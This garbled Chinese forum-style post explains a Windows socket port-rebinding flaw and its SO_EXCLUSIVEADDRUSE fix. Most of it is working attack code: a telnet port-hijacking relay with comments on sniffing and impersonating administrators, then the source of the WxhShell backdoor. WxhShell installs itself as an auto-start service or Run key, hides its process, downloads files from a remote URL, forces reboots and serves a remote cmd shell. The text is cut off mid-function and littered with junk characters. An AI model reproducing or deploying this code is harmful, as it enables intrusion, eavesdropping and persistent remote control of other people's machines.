在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
iT1HbAT] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
UQtG<W]< myB!\WY
saddr.sin_family = AF_INET;
:m(" oC@} !
n?j)p. saddr.sin_addr.s_addr = htonl(INADDR_ANY);
prxmDI zf^@f%R bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6|1#Prj ~SEIIq 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
M|>-q [U{RDX 这意味着什么?意味着可以进行如下的攻击:
+R31YR8C0 ZaFqGcS~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
_3gF~qr dW#l3_'3T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@T sdgx8 tgu
fU 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
`y.i(~^1 eBW]hwhKzM 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
d UiS0Qs} fy!,cK}; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^X<ytOd5 3N{
ZX{} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;giT[KK K]i2$M 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'9 <APUyu Zr;(a;QKs #include
uL@'Hv A #include
$7\hszjZ #include
zx5t
gZd,N #include
m RtE~~p DWORD WINAPI ClientThread(LPVOID lpParam);
8SMa5a{ int main()
oc&yz>%q {
j<i:rk| WORD wVersionRequested;
VHU,G+ms DWORD ret;
JZcW? Or WSADATA wsaData;
' :,p6 BOOL val;
ivi&; SOCKADDR_IN saddr;
DVRbTz3V SOCKADDR_IN scaddr;
7me1:}4 int err;
R<1[hH9"o SOCKET s;
/?:]f SOCKET sc;
p5=VGKp int caddsize;
No)@#^ HANDLE mt;
f@IL2DL}\ DWORD tid;
GSg/I.)S wVersionRequested = MAKEWORD( 2, 2 );
N~M-|^L err = WSAStartup( wVersionRequested, &wsaData );
VW9BQs2w if ( err != 0 ) {
LtBm }0 printf("error!WSAStartup failed!\n");
f.u[!T return -1;
I*8_5?)g< }
a~[]Ye@H saddr.sin_family = AF_INET;
26c1Yl,DMn C8
2lT_7" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[Uu!:SZ
*:V"C\`^n saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{\-IAuM saddr.sin_port = htons(23);
cX@72 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gOA]..lh {
*AN2&>Y printf("error!socket failed!\n");
jo=,j/,l return -1;
{2%@I~US }
_{'HY+M val = TRUE;
G( y@Tor+ //SO_REUSEADDR选项就是可以实现端口重绑定的
F!yejn
[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?gOZY\[ma {
.e%B' printf("error!setsockopt failed!\n");
U}<;4Px]7v return -1;
$`/J
V?Z }
:ugj+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
qn R{'d //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
_&6&sp<n //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
LP:C9Ol\ BM]sW:-v if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
FA;uu\ {
lO0 PZnW9 ret=GetLastError();
Z"G@I= Q( printf("error!bind failed!\n");
KA$l.6&d return -1;
NFcMh+qnK }
Y vjRJ listen(s,2);
bi[gyl# while(1)
lTpmoDa% {
$mG&4Y caddsize = sizeof(scaddr);
/S+gh;2OC //接受连接请求
l %{$CmG\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
w">p
8 if(sc!=INVALID_SOCKET)
I-
X|- {
j:{d'OV mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
D+vHl} if(mt==NULL)
I8 {2cM; {
9:tKRN_D printf("Thread Creat Failed!\n");
w/HGmVa break;
`7zNVYur8 }
/xRPQ| }
`P< m`* CloseHandle(mt);
Yj^n4G(h }
ZKa.MBde closesocket(s);
Q2[D|{Z WSACleanup();
!&D&Gs return 0;
wA<#E6^vG }
niV= Ijt{5 DWORD WINAPI ClientThread(LPVOID lpParam)
fu 95-)M {
0@ 9em~ SOCKET ss = (SOCKET)lpParam;
64OgE! SOCKET sc;
Vee`q. unsigned char buf[4096];
D=nuK25 SOCKADDR_IN saddr;
'WG%O7s. long num;
4X2/n DWORD val;
wDV%.Cc DWORD ret;
Yg6 f //如果是隐藏端口应用的话,可以在此处加一些判断
g2WDa'{L //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wZm=h8d saddr.sin_family = AF_INET;
)_nc;&%w saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
n1xN:A saddr.sin_port = htons(23);
?qt>;o|Ue if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8j}CP {
4W9#z~' printf("error!socket failed!\n");
5? `*i" return -1;
W=Ru?sG= }
Q1Sf7) val = 100;
X,<n|zp if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Y&k6Xhuao {
`AA[k ret = GetLastError();
=%YU~ return -1;
5/v@VUzH }
.)>DFGb>H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1dF=BR8 {
KN;b+`x;M ret = GetLastError();
hYW<4{Gjr return -1;
DM%4V|F" }
PZRm.vC)k if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
t YmR<^ {
?2;r#) printf("error!socket connect failed!\n");
E,nC}f closesocket(sc);
7)NQK9~ closesocket(ss);
q8;WHfGf return -1;
.4"9o% }
NGlX%j4j while(1)
KF|<A@V {
]3C&l+m$ot //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
X'Dg= | //如果是嗅探内容的话,可以再此处进行内容分析和记录
EF?@f{YY$n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
EwcN$Ma num = recv(ss,buf,4096,0);
PYl(~Vac if(num>0)
W,iSN} send(sc,buf,num,0);
&LO<!WKQ else if(num==0)
(ROurq" break;
XTD_q num = recv(sc,buf,4096,0);
N6Fj}m&E if(num>0)
z&o"K\y\ send(ss,buf,num,0);
5Y
4W:S else if(num==0)
I%43rdoPe break;
+1H.5| }
^<R*7mB* closesocket(ss);
!+4}x;!8 closesocket(sc);
y8Bi5Ae,+1 return 0 ;
}MDu QP] }
->x+ p" qHfs*MBJ% B1oy,' ==========================================================
dwKre#4F iXc-_V6 下边附上一个代码,,WXhSHELL
QW.VAF\6* k, )7v ==========================================================
ANy=f-V h5G>FPM-= #include "stdafx.h"
SxYX`NQ ?]081l7cd #include <stdio.h>
CE>RAerY #include <string.h>
1o7
pMp= #include <windows.h>
/H=fK #include <winsock2.h>
)FM/^ #include <winsvc.h>
l|`%FB^ k #include <urlmon.h>
UB]}j^ &_
Ewu@4 #pragma comment (lib, "Ws2_32.lib")
lM C4j #pragma comment (lib, "urlmon.lib")
<D4.kM 1%|+yu1 #define MAX_USER 100 // 最大客户端连接数
^{["]!f# #define BUF_SOCK 200 // sock buffer
Ep0L51Q #define KEY_BUFF 255 // 输入 buffer
Z'PE^ , l
tr=_ #define REBOOT 0 // 重启
KE+y'j#C3 #define SHUTDOWN 1 // 关机
8@|_];9#. #F.;N<a #define DEF_PORT 5000 // 监听端口
>De\2gbJ y@J]busU #define REG_LEN 16 // 注册表键长度
kIV/o #define SVC_LEN 80 // NT服务名长度
@6>R/] 2>#Pt^R:C // 从dll定义API
wHk4BWg- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2f>lgZ! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^u#!Yo.!( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
TSmuNCR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
eP-q[U?$n -c!{';Zn // wxhshell配置信息
Y'-BKZv! struct WSCFG {
^:K"Tv.= int ws_port; // 监听端口
!'Xk=+ char ws_passstr[REG_LEN]; // 口令
zr?%k]A%UO int ws_autoins; // 安装标记, 1=yes 0=no
vbmSbZ"y char ws_regname[REG_LEN]; // 注册表键名
fR}|CP char ws_svcname[REG_LEN]; // 服务名
.e5GJAW~9 char ws_svcdisp[SVC_LEN]; // 服务显示名
;"\e
aKl char ws_svcdesc[SVC_LEN]; // 服务描述信息
0ANqEQX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
b5
YE4h8% int ws_downexe; // 下载执行标记, 1=yes 0=no
|Sy|E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
ZVJbpn<lo) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$BG4M?Y 3@?#4]D{' };
3x9O<H} dfGdY"& // default Wxhshell configuration
Lw?4xerLsb struct WSCFG wscfg={DEF_PORT,
N
VzR 2 "xuhuanlingzhe",
1agyT 1,
ePK^v_vBD "Wxhshell",
Ooz+V;#Q "Wxhshell",
~" B0P>7 "WxhShell Service",
s
d>&6R^ "Wrsky Windows CmdShell Service",
qih7 "Please Input Your Password: ",
3k5OYUk 1,
eCMcr !. "
http://www.wrsky.com/wxhshell.exe",
Gk*Mx6|N "Wxhshell.exe"
vY<(3[pp };
CTbdY,=B zF.rsNY // 消息定义模块
\szx.IZT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
oA}&o_Q% char *msg_ws_prompt="\n\r? for help\n\r#>";
]|( (&Y
rl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ouK&H|' char *msg_ws_ext="\n\rExit.";
bT*MJ7VVm char *msg_ws_end="\n\rQuit.";
S&8gZ~B char *msg_ws_boot="\n\rReboot...";
+?[TH?2c+ char *msg_ws_poff="\n\rShutdown...";
xaX3<V@S char *msg_ws_down="\n\rSave to ";
$.(%7[ }]N7CWy
char *msg_ws_err="\n\rErr!";
7qV_QZ!. char *msg_ws_ok="\n\rOK!";
bqN({p& xIf,1g@Cq9 char ExeFile[MAX_PATH];
1[C,*\X8v int nUser = 0;
j./3 ) HANDLE handles[MAX_USER];
~K 8eRT int OsIsNt;
.JZoZ.FAb `{CaJ6. SERVICE_STATUS serviceStatus;
%+ig7a: SERVICE_STATUS_HANDLE hServiceStatusHandle;
BHOxwW{ YQ
g03i // 函数声明
yJc<;Qx int Install(void);
a Umcs!@ int Uninstall(void);
AtYe\_9$C int DownloadFile(char *sURL, SOCKET wsh);
EE#4,d`J int Boot(int flag);
gfw,S; void HideProc(void);
dY68wW>d| int GetOsVer(void);
"3LOL/7f int Wxhshell(SOCKET wsl);
Xz4!#,z/ void TalkWithClient(void *cs);
W*e6F?G int CmdShell(SOCKET sock);
ooreforr int StartFromService(void);
mm'n#%\G int StartWxhshell(LPSTR lpCmdLine);
;hJTJMA6/6 )}hp[*C VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^IOf% VOID WINAPI NTServiceHandler( DWORD fdwControl );
"'p:M,: nV,qC.z // 数据结构和表定义
=Bi>$Ly SERVICE_TABLE_ENTRY DispatchTable[] =
wo$9$~( {
mMjY I1F {wscfg.ws_svcname, NTServiceMain},
YvHP]N{SA' {NULL, NULL}
YwQxN" };
Cy4@\X%W Bjq1za // 自我安装
O9oYuC :q int Install(void)
t@QaxZIlt; {
6E{HNPMb> char svExeFile[MAX_PATH];
(Ybc~M)z HKEY key;
iKN~fGRc strcpy(svExeFile,ExeFile);
Mi,yg=V }|%dN*', // 如果是win9x系统,修改注册表设为自启动
[94A?pn[z if(!OsIsNt) {
;U<;R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q|b#=Af]g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'}e_8FS RegCloseKey(key);
m"<0sqD; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>K1)XP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
M9HM: RegCloseKey(key);
_,"T;i return 0;
O&V}T#8n }
O;9u1,%w }
Dz:A.x@$* }
*r@7 :a5 else {
b4ZZyw rS\j9@=Y4 // 如果是NT以上系统,安装为系统服务
fPZt*A__ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$[T^S if (schSCManager!=0)
' 7+x,TszI {
" JFx SC_HANDLE schService = CreateService
%/"I.\%d
(
2Hw&}8 schSCManager,
Urj8v2k wscfg.ws_svcname,
Xt^ldW wscfg.ws_svcdisp,
c [sydl SERVICE_ALL_ACCESS,
>0DQ<@ot: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
t, #7F$t SERVICE_AUTO_START,
^90';ACFy SERVICE_ERROR_NORMAL,
D+P( svExeFile,
N9tH0 NULL,
x2=Bu#Y NULL,
x^Q:U1 NULL,
P}29wr IZ NULL,
F&%@p& NULL
f_Ma~'3 );
'#!nK O2< if (schService!=0)
Y#S<:,/sb? {
njtz,qt_;G CloseServiceHandle(schService);
FkY}6 CloseServiceHandle(schSCManager);
y$|%K3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
kd)Q$RA( strcat(svExeFile,wscfg.ws_svcname);
>lQ@" U if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
c[J?`8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
gI "ZhYI RegCloseKey(key);
4l7TrCB return 0;
bc=,$ }
g5M=$y/H }
$s+/OgG4H CloseServiceHandle(schSCManager);
45. -P }
v_mk{ }
rR]U Ff {L~j;p_G& return 1;
+wc8rE6+W }
7rQwn2XD{ Swz{5 J2C // 自我卸载
0b6jGa int Uninstall(void)
G2qv)7{l2 {
O42`Z9oK HKEY key;
|0ATH`{ "5
;fuM1 if(!OsIsNt) {
w^z5O6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,`PC^`0c}o RegDeleteValue(key,wscfg.ws_regname);
-{`8Av5)E% RegCloseKey(key);
.7&V@A7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5{Q5?M] RegDeleteValue(key,wscfg.ws_regname);
${m;x: ' RegCloseKey(key);
bCMo8Xh return 0;
|_."U9!Z^ }
7 OAM }
'L?e)u. }
0t*e#,y else {
\c}_!.xj" N8x[8Rp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<}7 5Xo if (schSCManager!=0)
Ha~F&H|"O {
_D~l2M SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
K&ZN!VN/p if (schService!=0)
Ln:6@Ok)5% {
$inlI_ if(DeleteService(schService)!=0) {
A12EUr5$ CloseServiceHandle(schService);
5. ibH CloseServiceHandle(schSCManager);
,]`|2 j return 0;
XSk*w'xO }
=~z sah6N CloseServiceHandle(schService);
hr$Wt?B }
}`KK CloseServiceHandle(schSCManager);
5~D(jHY; }
ebno:) }
/2^"c+/'p ]%M&pc3U return 1;
<*JFY%y" }
qm^|7m^ O6*2oUKqK // 从指定url下载文件
8;6j int DownloadFile(char *sURL, SOCKET wsh)
')N[)&&Q{ {
eHHY.^| HRESULT hr;
(#kKL??W char seps[]= "/";
Hjhgu= char *token;
&~mJ
).* char *file;
'8J!(+ char myURL[MAX_PATH];
YRg"{[+#]k char myFILE[MAX_PATH];
<OY (y#x [|".j#ZlK strcpy(myURL,sURL);
srPczVG* token=strtok(myURL,seps);
U!d|5W.{Q while(token!=NULL)
]K?;XA3 dZ {
{wy{L-X file=token;
U#V&=~- token=strtok(NULL,seps);
cWtuI(. }
-pmb-#`M Gj_7wP$ GetCurrentDirectory(MAX_PATH,myFILE);
^H"o=K8= strcat(myFILE, "\\");
&F-
\t5X=i strcat(myFILE, file);
QPX&P{!g send(wsh,myFILE,strlen(myFILE),0);
cwuzi;f send(wsh,"...",3,0);
>``sM=W at hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
d1P|v(
`S9 if(hr==S_OK)
J':X$>E| return 0;
r[?GO"ej5 else
$RH. return 1;
R
+
~b@ = N&5]Z }
SzP`(}AU NSawD.9mV // 系统电源模块
7|5X> yt int Boot(int flag)
Ii9[[I {
Ff{,zfN+3 HANDLE hToken;
BLN|QaZ TOKEN_PRIVILEGES tkp;
3daI_Nx> acrR if(OsIsNt) {
AH{#RD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
cY5w,.Q/! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
LZ34x: ,C tkp.PrivilegeCount = 1;
z$gtGrU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
kmUL^vF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
r<$o [,W if(flag==REBOOT) {
4#CHX^De if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
"(r%`.l=I return 0;
nb<e<>L }
u,V_j|(e else {
_tUh*"e& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
V&*|%,q return 0;
iYZn`OAx }
_9g-D9 }
O8OAXRt/Y else {
{E; bT|3z if(flag==REBOOT) {
cJMi`PQ; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?7>"ZGDe> return 0;
Ptz##o'{5 }
FsO_|r else {
q<j9l'dHG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
wn^#`s!]U return 0;
Oa2\\I
}
v,C~5J3h) }
U9ZuD40\ z&cM8w: return 1;
7Db}bDU1
| }
Jd^Lnp6? T|8:_4/l // win9x进程隐藏模块
@@j:z;^| void HideProc(void)
"OwK- {
]5K+W /GVjesN HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
cZJ5L>ox if ( hKernel != NULL )
LSo*JO6 {
j]FK.G' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Gx
%=&O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(dZ]j){ FreeLibrary(hKernel);
nK32or3 }
/ej[oR NVghkd return;
s`ZP2"`f }
$*VZa3B\ 06O_!"GD} // 获取操作系统版本
|h}4J int GetOsVer(void)
\-pqqSy {
3dSb!q0&N OSVERSIONINFO winfo;
,]:Gn5~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~`Rar2%B GetVersionEx(&winfo);
?JG^GD7D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
YA@MLZm return 1;
w
>2sr^!y else
pHuR_U5*? return 0;
jQxhR }
O/|))H?C U(0FL6sPC // 客户端句柄模块
7O'.KoMw int Wxhshell(SOCKET wsl)
Q-<Qm ? {
Ml$<x"Q SOCKET wsh;
7nNNc[d*= struct sockaddr_in client;
CIz0Gjtx6m DWORD myID;
Q^ZM| (s# 7*j!ZUzp while(nUser<MAX_USER)
F)KR8( {
I 1n,c d[ int nSize=sizeof(client);
(BFwE@1" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~;?<OOt|wG if(wsh==INVALID_SOCKET) return 1;
tu Y+n2 }% f7O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0
zK{)HZ if(handles[nUser]==0)
q8&l%-d` closesocket(wsh);
xu_,0ZT]{ else
'B{FRK nUser++;
3:MJKS02OD }
5VP0Xa ~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;}iB9 Tl ff5 gE' return 0;
/q+;!EM }
F@k}p-e~ 9Q^cE\j // 关闭 socket
5L:-Xr{ void CloseIt(SOCKET wsh)
jQzl!f1c3 {
Db<#gH closesocket(wsh);
@J&korU nUser--;
X3a 9- ExitThread(0);
(w#t V* }
(De{r| /zt M' // 客户端请求句柄
BO#tn{(# void TalkWithClient(void *cs)
yw$4Hlj5 {
n8F~!|lQ0 k'PvTWR SOCKET wsh=(SOCKET)cs;
4")`}T char pwd[SVC_LEN];
2?GMKd) char cmd[KEY_BUFF];
}mXYS|{ char chr[1];
QOo'Iv+EL int i,j;
&n
)MGg1% |bz%SB while (nUser < MAX_USER) {
>>
"gb/x, \?>M?6D if(wscfg.ws_passstr) {
IC&P-X_aP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^e_LnJ+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
chKK9SC+| //ZeroMemory(pwd,KEY_BUFF);
/ n_s"[I4 i=0;
oR&z,%0wMK while(i<SVC_LEN) {
jtlRom} *9"x0bth // 设置超时
s6@mXO:H^ fd_set FdRead;
HB8s[]A:D struct timeval TimeOut;
sde>LZet/ FD_ZERO(&FdRead);
A$3Rbn}" FD_SET(wsh,&FdRead);
IO)#O< TimeOut.tv_sec=8;
GM0Q@`d TimeOut.tv_usec=0;
J _;H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.Zczya if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
RC/ 3\' 3}<U'%sd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
zk
FX[-'O pwd
=chr[0]; N=BG0t$
if(chr[0]==0xd || chr[0]==0xa) { (_zlCHB
pwd=0; A vq+s.h
break; ><
$LV&
} WA8<:#{e
i++; @wgd
3BU
} ]~I+d/k
d
~_vSMX
// 如果是非法用户,关闭 socket Ztg_='n
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \~ChbPnc
} \"oZ\_
x{SlJ%V
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T:$^1"\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u1$6:"2@5k
? +L,
while(1) { \4q|Qno8
qK a}O*
ZeroMemory(cmd,KEY_BUFF); GYfOwV!zB
[|OII!"
// 自动支持客户端 telnet标准 teg5g|*
j=0; HCs^?s8Pp
while(j<KEY_BUFF) { +QU>D:l
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JP5e=Z<
cmd[j]=chr[0]; E(P
6s;LZ
if(chr[0]==0xa || chr[0]==0xd) { FKTF?4+\U
cmd[j]=0; Z5>~l
break; D#b*M)X"
} 8x U*j
j++; ::oFL#+
} Kd`(^
a)JXxst
// 下载文件 g[O?wH-a
if(strstr(cmd,"http://")) { ;Zd_2CZ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); N
$) G8
if(DownloadFile(cmd,wsh)) W5
F\e[Ax5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Gp[.=.z?
else 985F(r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HE,L8S
} +-^>B%/&Z
else { m!/TJhiQ
2bNOn%!
switch(cmd[0]) { Cf=H~&`Z
[i`
// 帮助 LpU}.
case '?': { V:kRr cX
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .J)TIc__|A
break; T;/GHC`{Y
} |#@7$#j
// 安装 ?8-!hU@QC
case 'i': { 'q-q4QCB
if(Install()) zl@^[km{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2h
else MjMDD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (`.OS)&
break; XP@dg4Z=z
} ,Z@#( =f
// 卸载 ( 2HM"Pd
case 'r': { 4k;FZo]S
if(Uninstall()) 35& ^spb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a{]=BY oL
else \X8b!41
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *y*tI}
break; " CT}34l
} !4vb{AH
// 显示 wxhshell 所在路径 VGV-t
case 'p': { N'v3
|g
char svExeFile[MAX_PATH]; )hZ7`"f,ZN
strcpy(svExeFile,"\n\r"); y|5s
strcat(svExeFile,ExeFile); r)iEtT!p*
send(wsh,svExeFile,strlen(svExeFile),0); ~T1W-ig4[*
break; +.V+@!
} -F ~DOG%
// 重启 d.wGO]"
case 'b': { Tc6cBe,
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2I-d.{
if(Boot(REBOOT)) Z+El(f x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h<G4tjtk
else { i.Rl&t
closesocket(wsh); .11l(M
ExitThread(0); &kg^g%%
} _!03;zrO
break; +~^S'6yB
} )d2Z g
// 关机 G?W:O{n3
case 'd': { Rd#R}yA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y !<m8\
if(Boot(SHUTDOWN)) W{}$c`,R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P1eSx#3bR
else { 9F/I",EA
closesocket(wsh); u\*9\G
ExitThread(0); QtW9!p7(
} !#KKJ`uB"
break; ku]5sd >b
} cc[(w
#K
// 获取shell ]Y\$U<YjO
case 's': { .@VZ3"
CmdShell(wsh); ,{_i{WV
closesocket(wsh); 4\;zz85E
ExitThread(0); ]01`r/->\
break; 0'Pjnk-i
} VE )D4RL
// 退出 Unk/uk
case 'x': { @{y'_fw
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); op6]"ZV-C
CloseIt(wsh); ],]Rv#`
break; fkxkf^g)
} ?xj8a3F
// 离开 >fBPVu\PA
case 'q': { OIblBQ!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lw>B:3e
closesocket(wsh); [6!k:-t+
WSACleanup(); }t)+eSUA
exit(1); Fw<"]*iu
break; -b-a21,m>
} .zO^"mXjS
} n7!T{+ge
} WPNB!"E98
M)bQvjj
// 提示信息 cgb>Naa<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h.\I
tK{)
} "DW ~E\Y
} l9.`2d]o
c!Hz'W
return; 4Q|>k)H
} <o(;~
t<!m4Yd|#
// shell模块句柄 fd)8lK[KJ"
int CmdShell(SOCKET sock) R]"Zv'M(AM
{ qezWfR`
STARTUPINFO si; 6Og@tho
ZeroMemory(&si,sizeof(si)); (?qCtLZ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sy8t2lk
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =3bk=vy
PROCESS_INFORMATION ProcessInfo; ^#_gk uyd!
char cmdline[]="cmd"; m%|\AZBA#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z9o]);dZ
return 0; >dAl *T
} IK -vcG
S@qPf0dL<
// 自身启动模式 :\;9y3
int StartFromService(void) \Id8X`,eD
{ F-;J N
typedef struct O/~T+T%
{ FQWjL>NB
DWORD ExitStatus; UFB|IeX?q
DWORD PebBaseAddress; YgEd%Z%4
DWORD AffinityMask; /~"-q
DWORD BasePriority; v`S5[{6
ULONG UniqueProcessId; i/X3k&
